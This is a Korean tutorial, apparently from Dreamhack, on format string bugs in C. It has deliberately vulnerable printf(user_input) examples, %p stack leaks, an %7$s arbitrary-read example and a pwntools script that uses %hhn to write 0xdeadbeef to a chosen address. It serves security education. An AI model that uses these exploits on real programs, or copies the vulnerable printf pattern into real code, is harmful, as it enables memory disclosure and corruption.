출처 드림핵
printf, scanf, sscanf등의 함수들은 포맷 스트링을 처리하며, 이 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다. 문제는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없는데서 발생한다. 이렇게 포맷 스트링 함수를 잘못 사용하여 발생하는 버그를 포맷 스트링 버그라고 한다.
포맷 스트링의 구성은 다음과 같다. 자세한 내용은 여기를 참조하면 된다.
%[parameter][flags][width][.precision][length][specifier]

최소 너비를 지정하며, 치환되는 문자열이 이 값보다 짧을 경우, 공백 문자를 문자열 앞에 패딩한다.

// Name: fs_width.c
// Compile: gcc -o fs_width fs_width.c
#include <stdio.h>
int main() {
int num;
printf("%8d\n", 123); // " 123"
printf("%s%n: hi\n", "Alice", &num); // "Alice: hi", num = 5
printf("%*s: hello\n", num, "Bob"); // " Bob: hello "
return 0;
}
%n
%n을 %s 앞에 써주는 경우 문자열로 변환된 인자의 길이를 내가 원하는 곳에 저장할 수 있다.printf("%s%n: hi\n", "Alice", &num);처럼 사용하면 된다.

char 형을 정수 형태로 출력하기 위해서는 %hhd를 사용한다. 예시는 다음과 같다.
// Name: fs_length.c
// Compile: gcc -o fs_length fs_length.c
#include <stdio.h>
int main() {
char a = 0x12;
short b = 0x1234;
long c = 0x12345678;
long long d = 0x12345678abcdef01;
printf("%hhd\n", a); // "18"
printf("%hd\n", b); // "4660"
printf("%ld\n", c); // "305419896"
printf("%lld\n", d); // "1311768467750121217"
return 0;
}
참조할 인자의 인덱스를 지정한다. %[파라미터 값]$d 처럼 사용하며 되며, 정수를 입력하면 된다. 하지만 이보다 더 중요한 것은 파라미터 값이 인자의 갯수 범위 내인지 확인하지 않는다는 것이다. 다시말해, 인자가 2개 들어오더라도, 파라미터 값으로 3을 사용할 수 있다.
포맷 스트링 버그는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 말한다. 포맷 스트링을 사용가 직접 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.
다음 예제를 컴파일하고, %p/%p/%p/%p/%p/%p/%p/%p를 입력해보자.
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
$ ./fsb_stack_read
Format: %p/%p/%p/%p/%p/%p/%p/%p
0xa/(nil)/0x7f4dad0bbaa0/(nil)/0x55f04ffdc6b0/0x7025207025207025/0x2520702520702520/0x2070252070252070
전달된 인자가 없는데도, 값들이 출력된다. 이들은 x86-64 함수 호출 규약에 따라 포맷 스트링을 담고 있는 rdi 다음 인자들, rsi, rdi, rcx, r8, r9, [rsp+8], [rsp+0x10]이 출력되는 것이다. 이는 printf 함수가 인자 개수를 확인하지 않아서 생기는 현상이다. 이를 이용하면 레지스터 일부와 스택 값을 읽어올 수 있다.
바로 위에서 주목할 점은 스택 상의 값을 사용할 수 있다는 것이다. 스택에 어떤 메모리 주소값이 적혀있으면, 해당 주소에 적혀있는 값을 파라미터 값을 활용해 읽어올 수 있다. 다음은 예시 코드다.
// Name: fsb_aar_example.c
// Compile: gcc -o fsb_aar_example fsb_aar_example.c
#include <stdio.h>
char *secret = "THIS IS SECRET";
int main() {
char *addr = secret;
char format[0x100];
printf("Format: ");
scanf("%s", format);
printf(format);
return 0;
}
코드를 컴파일 한 뒤 main 함수를 디스어셈블 해보면, addr 이 rsp + 8 위치에, format이 rsp + 0x10 위치에 있는 것을 확인할 수 있다. 따라서 %7$s 을 입력하면 secret 위치에 적힌 문자열을 출력시킬 수 있다.
위와 마찬가지로 포맷 스트링에 임의의 주소를 넣고 %[n]$n 형식의 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.
// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {
char format[0x100];
printf("Address of `secret`: %p\n", &secret);
printf("Format: ");
scanf("%s", format);
printf(format);
printf("Secret: %d", secret);
return 0;
}
단 %n을 사용해서 값을 넣는 경우, 지금까지 출력된 글자의 수를 넣으므로 지나치게 큰 값은 쓸 수 없다. 이 경우 n 앞에 h와 hh를 붙여 2바이트, 1바이트씩 쓰는 것이 가능하다.
다음 코드를 통해서 0xdeadbeef를 써 넣을 수 있다. 오름 차순으로 1바이트씩 넣어야 한다는 점에 주의하라.
#!/usr/bin/python3
# Name: fsb_aaw_deadbeef.py
from pwn import *
p = process("./fsb_aaw")
p.recvuntil(b"`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)
fstring = f"%{0xad}c%16$hhn".encode()
fstring += f"%{0xbe - 0xad}c%15$hhn".encode()
fstring += f"%{0xde - 0xbe}c%17$hhn".encode()
fstring += f"%{0xef - 0xde}c%14$hhn".encode()
fstring = fstring.ljust(64, b'a')
fstring += p64(addr_secret) # %14$n
fstring += p64(addr_secret + 1) # %15$n
fstring += p64(addr_secret + 2) # %16$n
fstring += p64(addr_secret + 3) # %17$n
p.sendline(fstring)
print(p.recvall())